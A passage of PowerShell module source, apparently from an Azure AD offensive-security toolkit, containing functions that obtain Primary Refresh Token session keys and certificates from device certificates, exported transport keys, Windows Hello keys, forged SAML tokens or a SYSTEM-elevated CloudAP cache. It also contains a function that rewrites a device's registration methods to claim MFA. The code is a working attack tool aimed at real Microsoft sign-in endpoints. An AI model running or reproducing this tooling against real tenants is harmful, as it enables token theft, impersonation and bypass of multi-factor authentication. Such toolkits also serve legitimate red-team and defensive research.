[Parameter(ParameterSetName='Settings',Mandatory=$True)] $Settings, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [String]$TenantId, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [String]$DeviceName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [Parameter(ParameterSetName='Certificate',Mandatory=$False)] [String]$OSVersion="10.0.18363.0", [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [Parameter(ParameterSetName='Certificate',Mandatory=$False)] [String[]]$DNSNames ) Process { if($Settings) { if([string]::IsNullOrEmpty($Settings.refresh_token) -or [string]::IsNullOrEmpty($Settings.session_key)) { throw "refresh_token and/or session_key missing!" } $RefreshToken = $Settings.refresh_token $SessionKey = $Settings.session_key } if($SessionKey -ne $null -and [string]::IsNullOrEmpty($Context)) { # Create a random context $ctx = New-Object byte[] 24 ([System.Security.Cryptography.RandomNumberGenerator]::Create()).GetBytes($ctx) } elseif($Context) { $ctx = Convert-B64ToByteArray -B64 $Context } if($Certificate -eq $null -and [string]::IsNullOrEmpty($PfxFileName) -eq $false) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } if(!$DNSNames) { $DNSNames = @($DeviceName) } if($Certificate) { $TenantId = (Parse-CertificateOIDs -Certificate $Certificate).TenantId } if(!$TenantId) { $TenantId = (Read-Accesstoken $prtKeys.id_token).tid } # Get the nonce $nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/token" -Body "grant_type=srv_challenge").Nonce # We are doing this with the existing device certificate if($Certificate) { # Get the private key $privateKey = Load-PrivateKey -Certificate $Certificate # Initialize the Certificate Signing Request object $CN = $Certificate.Subject $req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $privateKey, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1) # Create the signing request $csr = [convert]::ToBase64String($req.CreateSigningRequest()) # B64 encode the public key $x5c = [convert]::ToBase64String(($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))) # Create the header and body $hdr = [ordered]@{ "alg" = "RS256" "typ" = "JWT" "x5c" = "$x5c" } $pld = [ordered]@{ "client_id" = "38aa3b87-a06d-4817-b275-7a316988d93b" "request_nonce" = $nonce "win_ver" = $OSVersion "grant_type" = "device_auth" "cert_token_use" = "device_cert" "csr_type" = "http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" "csr" = $csr "netbios_name" = $DeviceName "dns_names" = $DNSNames } # Create the JWT $jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld # Construct the body $body = @{ "windows_api_version" = "2.0" "grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer" "request" = "$jwt" } } else # We are doing this with the PRT keys information { # Create a private key and do something with it to get it stored $rsa=[System.Security.Cryptography.RSA]::Create(2048) # Store the private key to so that it can be exported $cspParameters = [System.Security.Cryptography.CspParameters]::new() $cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" $cspParameters.ProviderType = 24 $cspParameters.KeyContainerName ="AADInternals" # Set the private key $privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters) $privateKey.ImportParameters($rsa.ExportParameters($true)) # Initialize the Certificate Signing Request object $req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new("CN=", $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1) # Create the signing request $csr = [convert]::ToBase64String($req.CreateSigningRequest()) # Create the header and body $hdr = [ordered]@{ "alg" = "HS256" "typ" = "JWT" "ctx" = (Convert-ByteArrayToB64 -Bytes $ctx) } $pld = [ordered]@{ "iss" = "aad:brokerplugin" "grant_type" = "refresh_token" "aud" = "login.microsoftonline.com" "request_nonce" = $nonce "scope" = "openid aza ugs" "refresh_token" = $RefreshToken "client_id" = "38aa3b87-a06d-4817-b275-7a316988d93b" "cert_token_use" = "user_cert" "csr_type" = "http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" "csr" = $csr } # Create the JWT $jwt = New-JWT -Key (Get-PRTDerivedKey -Context $ctx -SessionKey (Convert-B64ToByteArray $SessionKey)) -Header $hdr -Payload $pld # Construct the body $body = @{ "grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer" "request" = "$jwt" "windows_api_version" = "1.0" } } try { # Make the request to get the P2P certificate $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$tenantId/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body } catch { $errorMessage = $_.ErrorDetails.Message | ConvertFrom-Json Write-Error $errorMessage.error_description return } # Get the certificate $binCert = [byte[]](Convert-B64ToByteArray -B64 $response.x5c) # Create a new x509certificate $P2PCert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable) $P2PCert.PrivateKey = $privateKey # Write the device P2P certificate to disk $certName = $P2PCert.Subject.Split(",")[0].Split("=")[1] Set-BinaryContent -Path "$certName-P2P.pfx" -Value $P2PCert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx) # Write the P2P certificate CA to disk $CA = @" -----BEGIN PUBLIC KEY----- $($response.x5c_ca) -----END PUBLIC KEY----- "@ $CA | Set-Content "$certName-P2P-CA.der" if($Certificate) { # Unload the private key Unload-PrivateKey -PrivateKey $privateKey } # Print out information if($Certificate) { Write-Host "Device P2P certificate successfully created:" } else { Write-Host "User certificate successfully created:" } Write-Host " Subject: ""$($P2PCert.Subject)""" if($Certificate) { Write-Host " DnsNames: ""$($P2PCert.DnsNameList.Unicode)""" } Write-Host " Issuer: ""$($P2PCert.Issuer)""" Write-Host " Cert thumbprint: $($P2PCert.Thumbprint)" Write-host " Cert file name : ""$certName-P2P.pfx""" Write-host " CA file name : ""$certName-P2P-CA.der""" } } # Generates a new set of PRT keys for the user. # Aug 21st 2020 function Get-UserPRTKeys { <# .SYNOPSIS Creates a new set of session key and refresh_token (PRT) for the user and saves them to json file. .DESCRIPTION Creates a new set of Primary Refresh Token (PRT) keys for the user, including a session key and a refresh_token (PRT). Keys are saved to a json file. .Parameter Certificate x509 certificate used to sign the certificate request. .Parameter PfxFileName File name of the .pfx certificate used to sign the certificate request. .Parameter PfxPassword The password of the .pfx certificate used to sign the certificate request. .Parameter Credentials Credentials of the user. .Parameter CloudAP Get PRT and Session key from CloudAP cache using user's credentials .Parameter OSVersion The operating system version of the device. Defaults to "10.0.18363.0" .Parameter UseRefreshToken Uses cached refresh token instead of credentials. Use Get-AADIntAccessTokenForMDM with -SaveToCache switch. .Parameter TransportKeyFileName Name of the .PEM file containing the transport key .Parameter WHfBKeyFileName Name of the .PEM file containing the Windows Hello for Business (WHfB) key. If provided, AADInternals is trying to use WHfB key as the proof-of-identity .Parameter UseDeviceCertForWHfB If set, AADInternals is trying to use the provided device certificate key as WHfB key. .Parameter SAMLToken Uses the provided SAML token instead of credentials. .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS C:\>Join-AADIntAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 AuthUserObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4 TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 PS C:\>$creds = Get-Credential PS C:\>$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Credentials $cred PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS C:\>Join-AADIntAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 AuthUserObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4 TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 PS C:\>Get-AADIntAccessTokenForIntuneMDM -SaveToCache PS C:\>$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -UseRefreshToken PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys .EXAMPLE Get-AADIntAccessTokenForAADJoin -SaveToCache PS C:\>Join-AADIntAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64" Device successfully registered to Azure AD: DisplayName: "My computer" DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7 AuthUserObjectId: afdeac87-b32a-41a0-95ad-0a555a91f0a4 TenantId: 8aeb6b82-6cc7-4e33-becd-97566b330f5b Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689 Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx" Local SID: S-1-5-32-544 Additional SIDs: S-1-12-1-797902961-1250002609-2090226073-616445738 S-1-12-1-3408697635-1121971140-3092833713-2344201430 S-1-12-1-2007802275-1256657308-2098244751-2635987013 PS C:\>$saml = New-AADIntSAMLToken -ImmutableID "2Vt0xz0EgESz+vF+8BzxPw==" -Issuer "http://sts.company.com/adfs/services/trust" -PfxFileName .\ADFSSigningCertificate.pfx PS C:\>$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SAMLToken $saml PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys .Example PS C\:>Export-AADIntLocalDeviceCertificate Device certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx PS C\:>Export-AADIntLocalDeviceTransportKey Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem PS C:\>$creds = Get-Credential PS C\:>$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem -Credentials $creds PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys .Example PS C\:>Export-AADIntLocalDeviceCertificate Device certificate exported to f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx PS C\:>Export-AADIntLocalDeviceTransportKey Transport key exported to f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem PS C\:>$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91.pfx -TransportKeyFileName .\f72ad27e-5833-48d3-b1d6-00b89c429b91_tk.pem PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys .Example PS C\:>$creds = Get-Credential PS C\:>$prtKeys = Get-AADIntUserPRTKeys -CloudAP -Credentials $creds WARNING: Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore AzureAD\User1 rights. Keys saved to 31abceff-a84c-4f3b-9461-582435d7d448.json PS C:\>$prttoken = New-AADIntUserPRTToken -Settings $prtkeys .EXAMPLE PS C:\>$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -UseDeviceCertForWHfB -UserName [email protected] #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Certificate' ,Mandatory=$True)] [Parameter(ParameterSetName='RTCertificate' ,Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword' ,Mandatory=$True)] [Parameter(ParameterSetName='RTFileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword' ,Mandatory=$False)] [Parameter(ParameterSetName='RTFileAndPassword',Mandatory=$False)] [string]$PfxPassword, [Parameter(Mandatory=$False)] [string]$TransportKeyFileName, [Parameter(Mandatory=$False)] [string]$WHfBKeyFileName, [Parameter(Mandatory=$False)] [string]$UserName, [Parameter(Mandatory=$False)] [switch]$UseDeviceCertForWHfB, [Parameter(ParameterSetName='RTFileAndPassword',Mandatory=$True)] [Parameter(ParameterSetName='RTCertificate' ,Mandatory=$True)] [switch]$UseRefreshToken, [Parameter(Mandatory=$False)] [String]$SAMLToken, [Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)] [switch]$CloudAP, [Parameter(ParameterSetName='CloudAP' ,Mandatory=$True)] [Parameter(Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(Mandatory=$False)] [String]$OSVersion="10.0.18363.0", [Parameter(Mandatory=$False)] [switch]$IncludePartialTGT ) Process { # Try to get from CloudAP using the provided credentials if($CloudAP) { $response = Get-UserPRTKeysFromCloudAP -Credentials $Credentials $deviceId = $response.DeviceId } else { # Load the certificate if not provided if(!$Certificate) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } # Get the private key $privateKey = Load-PrivateKey -Certificate $Certificate # Get the public key $publicKey = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert) # Parse certificate information $oids = Parse-CertificateOIDs -Certificate $Certificate $deviceId = $oids.DeviceId.ToString() $tenantId = $oids.TenantId.ToString() $objectId = $oids.AuthUserObjectId.ToString() # Get the nonce $nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body "grant_type=srv_challenge").Nonce # Construct the header $headerObj = [ordered]@{ "alg" = "RS256" "typ" = "JWT" "x5c" = Convert-ByteArrayToB64 ($publicKey) } $header = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.GetBytes(($headerObj | ConvertTo-Json -Compress))) -NoPadding # Construct the payload $payloadObj=@{ "client_id" = "38aa3b87-a06d-4817-b275-7a316988d93b" "request_nonce" = "$nonce" "scope" = "openid aza ugs" "win_ver" = "$OSVersion" } if($SAMLToken) { $payloadObj["grant_type"] = "urn:ietf:params:oauth:grant-type:saml1_1-bearer" $payloadObj["assertion"] = Convert-TextToB64 -Text $SAMLToken } elseif($Credentials) { $payloadObj["grant_type"] = "password" $payloadObj["username"] = $Credentials.UserName $payloadObj["password"] = $Credentials.GetNetworkCredential().Password } elseif($UseRefreshToken) { # Trying to get the refresh token from the cache $refresh_token = Get-RefreshTokenFromCache -ClientID "29d9ed98-a469-4536-ade2-f981bc1d605e" -Resource "https://graph.windows.net" if([string]::IsNullOrEmpty($refresh_token)) { Throw "No refresh token found! Use Get-AADIntAccessTokenForIntuneMDM with -SaveToCache switch and try again." } $tokens = Get-AccessTokenWithRefreshToken -RefreshToken $refresh_token -Resource "1b730954-1685-4b74-9bfd-dac224a7b894" -ClientId "29d9ed98-a469-4536-ade2-f981bc1d605e" -TenantId Common -IncludeRefreshToken $true $payloadObj["grant_type"] = "refresh_token" $payloadObj["refresh_token"] = $tokens[1] $payloadObj["client_id"] = "29d9ed98-a469-4536-ade2-f981bc1d605e" } elseif($WHfBKeyFileName -or $UseDeviceCertForWHfB) { # Use Device Certificate key as WHfB key if($UseDeviceCertForWHfB) { # Check do we have a user name if([string]::IsNullOrEmpty($UserName)) { throw "User name must be provided with -Username parameter." } $whfbParameters = $privateKey.ExportParameters($true) } # Use the provided WHfB key else { # Check do we have a user name if([string]::IsNullOrEmpty($UserName)) { # Try to parse from the file name try { Write-Warning "Username not provided, trying to parse from the filename" $UserName = $WHfBKeyFileName.Split("_")[2] Write-Verbose "Using $UserName for WHfB assertion." } catch { throw "Could not parse username from the filename, please provide user with -UserName parameter." } } # Load WHfB key from the PEM file $whfbPEM = (Get-Content $WHfBKeyFileName) -join "`n" $whfbParameters = Convert-PEMToRSA -PEM $whfbPEM } # Set the parameters $now = (Get-Date).toUniversalTime() $assertion_iss = $UserName $assertion_kid = Convert-ByteArrayToB64 -Bytes ([System.Security.Cryptography.SHA256]::Create().ComputeHash( (New-KeyBLOB -Parameters $whfbParameters -Type RSA1))) $assertion_aud = $TenantId $assertion_iat = [int](($now)-$epoch).TotalSeconds $assertion_exp = [int](($now).AddMinutes(10)-$epoch).TotalSeconds $assertion_hdr = [ordered]@{ "alg" = "RS256" "typ" = "JWT" "kid" = $assertion_kid "use" = "ngc" } # Get the nonce $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body "grant_type=srv_challenge" $nonce = $response.Nonce $assertion_pld = [ordered]@{ "iss" = $assertion_iss "aud" = $assertion_aud "iat" = $assertion_iat "exp" = $assertion_exp "request_nonce" = $nonce "scope" = "openid aza ugs" } # Create and sign the assertion JWT $assertion = New-JWT -PrivateKey ([System.Security.Cryptography.RSA]::Create($whfbParameters)) -Header $assertion_hdr -Payload $assertion_pld $payloadObj["grant_type"] = "urn:ietf:params:oauth:grant-type:jwt-bearer" $payloadObj["assertion"] = $assertion } else { # Get access token interactively (supports MFA) $tokens = Get-AccessToken -ClientId "29d9ed98-a469-4536-ade2-f981bc1d605e" -PfxFileName $PfxFileName -Resource "1b730954-1685-4b74-9bfd-dac224a7b894" -IncludeRefreshToken $true $payloadObj["grant_type"] = "refresh_token" $payloadObj["refresh_token"] = $tokens[1] $payloadObj["client_id"] = "29d9ed98-a469-4536-ade2-f981bc1d605e" } $payload = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.GetBytes( ($payloadObj | ConvertTo-Json -Compress ) )) -NoPadding # Construct the JWT data to be signed $dataBin = [text.encoding]::UTF8.GetBytes(("{0}.{1}" -f $header,$payload)) # Get the signature $sigBin = Sign-JWT -PrivateKey $PrivateKey -Data $dataBin $sigB64 = Convert-ByteArrayToB64 $sigBin -UrlEncode -NoPadding # B64 URL encode $signature = $sigB64 # Construct the JWT $jwt = "{0}.{1}.{2}" -f $header,$payload,$signature # Construct the body $body = @{ "windows_api_version" = "2.0" "grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer" "request" = "$jwt" "client_info" = "1" } if ($IncludePartialTGT) { $body['tgt'] = $true } # Make the request $response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$TenantId/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body -ErrorAction SilentlyContinue if(!$response.token_type) { throw "Error getting session key. Check your credentials!" } # Decrypt the session key and add it to return value try { if($TransportKeyFileName) { # Get the transport key from the provided file $tkPEM = (Get-Content $TransportKeyFileName) -join "`n" $tkParameters = Convert-PEMToRSA -PEM $tkPEM $privateKey = [System.Security.Cryptography.RSA]::Create($tkParameters) } $sessionKey = Decrypt-JWE -JWE $response.session_key_jwe -PrivateKey $privateKey $response | Add-Member -NotePropertyName "session_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes $sessionKey) if ($IncludePartialTGT) { $tgt = Decrypt-JWE -JWE $response.tgt_client_key -SessionKey $sessionKey $response | Add-Member -NotePropertyName "decrypted_tgt_client_key" -NotePropertyValue (Convert-ByteArrayToB64 -Bytes $tgt) } } catch { Write-Error $($_.Exception.Message) } } # Write to file $outFileName = "$deviceId.json" $response | ConvertTo-Json |Set-Content $outFileName -Encoding UTF8 Write-Host "Keys saved to $outFileName" try { # Unload the private key Unload-PrivateKey -PrivateKey $privateKey } catch {} # Return $response } } # Removes the device from Azure AD # Sep 2nd 2020 function Remove-DeviceFromAzureAD { <# .SYNOPSIS Removes the device from Azure AD. .DESCRIPTION Removes the device from Azure AD using the given device certificate. .Parameter Certificate x509 certificate used to sign the certificate request. .Parameter PfxFileName File name of the .pfx certificate used to sign the certificate request. .Parameter PfxPassword The password of the .pfx certificate used to sign the certificate request. .Parameter Force Does not ask for "Are your sure?" questions. .EXAMPLE Remove-AADIntDeviceFromAzureAD -pfxFileName .\85c3252a-3b33-41cf-bd4f-c53b7a94c548.pfx The device 85c3252a-3b33-41cf-bd4f-c53b7a94c548 succesfully removed from Azure AD. Attestation result KeyId: 0372f9ab-6103-4a0f-9095-9b49cd399479 #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword, [switch]$Force ) Process { if(!$Certificate) { $Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable } $deviceID = $Certificate.Subject.Split("=")[1] if(!$Force) { $promptValue = Read-Host "Are you sure you wan't to remove the device $deviceID? from Azure AD? Type YES to continue or CTRL+C to abort" if($promptValue -ne "yes") { Write-Warning "Device removal of device $deviceID cancelled." return } } Write-Verbose "Unenrolling device $deviceID" $requestId = (New-Guid).ToString() $headers=@{ "User-Agent" = "Dsreg/10.0 (Windows 10.0.18363.0)" "ocp-adrs-client-name" = "Dsreg" "ocp-adrs-client-version" = "10.0.18362.0" "client-Request-Id" = $requestId "return-client-request-id" = "true" } try { $response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Delete -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$($deviceID)?api-version=1.0" -Headers $headers -ErrorAction SilentlyContinue } catch { Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json ).Message return } $keyId = ($response.Content | ConvertFrom-Json).AttestationResult.KeyId Write-Host "The device $deviceID succesfully removed from Azure AD. Attestation result KeyId: $keyId" } } # Get device compliance # Sep 11th 2020 function Get-DeviceRegAuthMethods { <# .SYNOPSIS Get's the authentication methods used while registering the device. .DESCRIPTION Get's the authentication methods used while registering the device. .Parameter AccessToken The access token used to get the methos. .Parameter DeviceId Azure AD device id of the device. .Parameter ObjectId Azure AD object id of the device. .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Get-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" pwd mfa #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='DeviceID',Mandatory=$True)] [String]$DeviceId, [Parameter(ParameterSetName='ObjectID',Mandatory=$True)] [String]$ObjectId ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" $parsedToken = Read-Accesstoken -AccessToken $AccessToken $tenantId = $parsedToken.tid $headers=@{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json;odata=nometadata" } # Get the object Id if not given if([string]::IsNullOrEmpty($ObjectId)) { $ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken } # Get the methods $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?`$select=deviceSystemMetadata&api-version=1.61-internal" -Headers $headers $methods = $response.deviceSystemMetadata | Where-Object key -eq RegistrationAuthMethods | Select-Object -ExpandProperty value | ConvertFrom-Json return $methods } } # Set device compliance # Sep 11th 2020 function Set-DeviceRegAuthMethods { <# .SYNOPSIS Set's the authentication methods. .DESCRIPTION Set's the authentication methods. Affects what authentication claims the access tokens generated with device certificate or PRT. .Parameter AccessToken The access token used to set the methods. .Parameter DeviceId Azure AD device id of the device. .Parameter ObjectId Azure AD object id of the device. .Parameter Methods The list of methods. Can be any of "pwd","rsa","otp","fed","wia","mfa","mngcmfa","wiaormfa","none" but only pwd and mfa matters. .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Set-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -Methods mfa,pwd pwd mfa #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='DeviceID',Mandatory=$True)] [String]$DeviceId, [Parameter(ParameterSetName='ObjectID',Mandatory=$True)] [String]$ObjectId, [Validateset("pwd","rsa","otp","fed","wia","mfa","mngcmfa","wiaormfa","none")] [Parameter(Mandatory=$False)] [String[]]$Methods="none" ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" $parsedToken = Read-Accesstoken -AccessToken $AccessToken $tenantId = $parsedToken.tid $headers=@{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json;odata=nometadata" } # Get the object Id if not given if([string]::IsNullOrEmpty($ObjectId)) { $ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken } # Get the current methods $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?`$select=deviceSystemMetadata&api-version=1.61-internal" -Headers $headers # Change the methods and convert to JSON $newMethods = $Methods | ConvertTo-Json -Compress $currentMethods = $response.deviceSystemMetadata | Where-Object key -eq RegistrationAuthMethods $currentMethods.value = $newMethods # Post the changes to Azure AD Invoke-RestMethod -UseBasicParsing -Method Patch -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?api-version=1.61-internal" -Headers $headers -Body ($response|ConvertTo-Json) -ContentType "application/json" Get-DeviceRegAuthMethods -AccessToken $AccessToken -ObjectId $ObjectId } } # Get device transport key public key # Sep 13th 2020 function Get-DeviceTransportKey { <# .SYNOPSIS Get's the public key of transport key of the device. .DESCRIPTION Get's the public key of transport key of the device. .Parameter AccessToken The access token used to get the certificate. .Parameter DeviceId Azure AD device id of the device. .Parameter ObjectId Azure AD object id of the device. .EXAMPLE Get-AADIntAccessTokenForAADGraph -SaveToCache PS C\:>Get-AADIntDeviceTransportKey -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(ParameterSetName='DeviceID',Mandatory=$True)] [String]$DeviceId, [Parameter(ParameterSetName='ObjectID',Mandatory=$True)] [String]$ObjectId ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net" $parsedToken = Read-Accesstoken -AccessToken $AccessToken $tenantId = $parsedToken.tid $headers=@{ "Authorization" = "Bearer $AccessToken" "Accept" = "application/json;odata=nometadata" } # Get the object Id if not given if([string]::IsNullOrEmpty($ObjectId)) { $ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken } # Get the key information $response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?`$select=deviceId,deviceKey,alternativeSecurityIds,objectId&api-version=1.61-internal" -Headers $headers $DeviceId = $response.deviceId if($response.alternativeSecurityIds -and $response.alternativeSecurityIds.key -and $response.deviceKey) { Write-Verbose "Current key material: $(Convert-B64ToText -B64 $response.deviceKey[0].keyMaterial)" # Get the certificate thumbprint and SHA1 $keyInfo = ([text.encoding]::Unicode.GetString( [byte[]](Convert-B64ToByteArray -B64 $response.alternativeSecurityIds.key)) ).split(">")[1] $thumbPrint = $keyInfo.Substring(0,40) $SHA256 = $keyInfo.Substring(41) # Should be SHA1 (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dvre/1f2ebba7-7783-42c4-982a-ce9ca76af949) $rawKeyMaterial = Convert-B64ToByteArray -B64 $response.deviceKey[0].keyMaterial # Check whether this the raw RSABLOB if( (Compare-Object -ReferenceObject ([text.encoding]::ASCII.GetBytes("RSA1")) -DifferenceObject $rawKeyMaterial[0..3]) -eq $null) { $parsedKey = Parse-KeyBLOB -Key $rawKeyMaterial $keyMaterial = @{ "kid" = "" "alg" = "RS256" "kty" = "RSA" "e" = Convert-ByteArrayToB64 -Bytes $parsedKey.Exponent "n" = Convert-ByteArrayToB64 -Bytes $parsedKey.Modulus } } else { $keyMaterial = [text.encoding]::UTF8.getString($rawKeyMaterial) | ConvertFrom-Json } # Export the TKPUB $export = @{ "keyMaterial" = $keyMaterial "thumpPrint" = $thumbPrint "hash" = $SHA256 } $export | ConvertTo-Json | Set-Content "$DeviceId-TKPUB.json" -Encoding UTF8 # Print out information Write-Host "Device TKPUB key successfully exported:" Write-Host " Device ID: $deviceId" Write-Host " Cert thumbprint: $($thumbPrint.toLower())" Write-Host " Cert SHA256: $SHA256" Write-host " Public key file name : ""$DeviceId-TKPUB.json""" } else { Write-Error "Could not get TKPUB for device $DeviceId" } } } # Set device transport key public key # Sep 24th 2020 function Set-DeviceTransportKey { <# .SYNOPSIS Set's the public key of transport key of the device. .DESCRIPTION Set's the public key of transport key of the device. .Parameter AccessToken The access token used to get the certificate. .Parameter DeviceId Azure AD device id of the device. .Parameter ObjectId Azure AD object id of the device. .Parameter Certificate A X509 certificate to be used to set the 